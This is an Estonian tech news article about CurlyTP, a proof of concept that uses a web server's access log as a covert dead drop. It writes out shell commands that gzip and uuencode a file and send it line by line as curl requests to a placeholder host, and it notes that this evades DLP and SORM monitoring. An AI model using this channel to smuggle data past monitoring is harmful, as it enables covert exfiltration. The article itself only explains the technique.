Vikipeedia mÀÀratluse kohaselt on peidupaik (dead drop) kÀtketehnika, mida kasutatakse teabe vÔi esemete vahetamiseks inimeste vahel, kes kasutavad salajast asukohta. Idee seisneb selles, et inimesed ei kohtu kunagi, kuid vaihavad teavet, sÀilitades operatiivse turvalisuse.
Peidupaik ei tohi tÀhelepanu köita. SeetÔttu kasutatakse offline maailmas sageli diskreetselt asju: langev telliskivi seinas, raamat raamatukogus vÔi puu ÔÔnsus.
Internetris on palju ĆĄifreerimise ja anonĂŒĂŒmsuse tööriistu, kuid nende tööriistade kasutamine kutsub tĂ€helepanu. Lisaks vĂ”ivad need olla blokeeritud ettevĂ”tte vĂ”i riigi tasandil. Mida teha?
Arendaja Ryan Flowers pakkus huvitava variandi â . Kui mĂ”elda, siis mida veebiserver teeb? VĂ”tab vastu pĂ€ringud, vĂ€ljastab faile ja kirjutab logi. Ja see registreerib logis kĂ”ik pĂ€ringud, sealhulgas valed!
Seega vÔimaldab iga veebiserver logis praktiliselt suvalise sÔnumi salvestada. Flowers mÔtles, kuidas seda Àra kasutada.
Ta pakub jÀrgmist varianti:
- VÔtame tekstifaili (salajane sÔnum) ja arvutame rÀsisumma (md5sum).
- Koodime selle (gzip+uuencode).
- Salvestame logisse, saates teadlikult vale pÀringu serverisse.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shFaili lugemiseks tuleb teostada need toimingud vastupidi: dekodeerida ja dekompressida fail, vÔrrelda rÀsisummat (rÀsisumma vÔib turvaliselt edastada avatud kanalite kaudu).
TĂŒhikud asendatakse =+=, et aadressis ei oleks tĂŒhikuid. Programm, mida autor nimetas CurlyTP, kasutab base64 kodeeringut, nagu e-kirjade manustes. PĂ€ring tehakse mĂ€rksĂ”naga ?transfer?, et saaja leiaks selle logides kergesti ĂŒles.
Mida me logides sellisel juhul nÀeme?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"Nagu juba mainitud, tuleb salajase sÔnumi saamiseks teostada toimingud vastupidises jÀrjekorras:
Kaugmasin
[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue
[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gProtsessi on lihtne automatiseerida. Md5sum kattub ja faili sisu kinnitab, et kĂ”ik on Ă”igesti dekrĂŒpteeritud.
Meetod on vĂ€ga lihtne. "Selle harjutuse mĂ”te on lihtsalt tĂ”estada, et faile saab edastada lĂ€bi sĂŒĂŒtute vĂ€ikeste veebikĂŒsimuste ning see töötab igasuguste tavapĂ€raste tekstivormingute logidega. Sisuliselt on iga veebiserver peidik!" - kirjutab Flowers.
Muidugi, meetod töötab vaid juhul, kui vastajal on juurdepÀÀs serveri logidele. Kuid sellist juurdepÀÀsu pakuvad nÀiteks paljud hostimisteenuse pakkujad.
Kuidas seda kasutada?
Ryan Flowers ĂŒtleb, et ta ei ole infotehnoloogia turbe spetsialist ning ei koostaks CurlyTP vĂ”imalike rakenduste loendit. Tema jaoks on see lihtsalt tĂ”estus, et tuttavaid tööriistu, mida me igapĂ€evaselt nĂ€eme, saab kasutada ebatavalistel viisidel.
Tegelikult on sellisel meetodil mitmeid eeliseid vĂ”rreldes teiste serveri "peidikutega", nagu vĂ”i : see ei nĂ”ua erilisi seadeid serveri kĂŒljest vĂ”i mingeid spetsiaalseid protokolle â ja ei tĂ”mba tĂ€helepanu nende seas, kes jĂ€lgivad liiklust. On vĂ€he tĂ”enĂ€oline, et SORM vĂ”i DLP sĂŒsteem skaneerib URL-e, et leida tihendatud tekstifaile.
See on ĂŒks meetod sĂ”numite edastamiseks teenusefailide kaudu. VĂ”ib meenutada, kuidas mĂ”ned arenenud ettevĂ”tted varasemalt avaldasid vĂ”i HTML-lehtede koodis.

Idee oli selles, et sellist "paskvilti" mÀrkavad vaid veebiarendajad, kuna tavaline inimene ei hakka ega vaata pealkirju vÔi HTML-koodi.
Allikas: habr.com
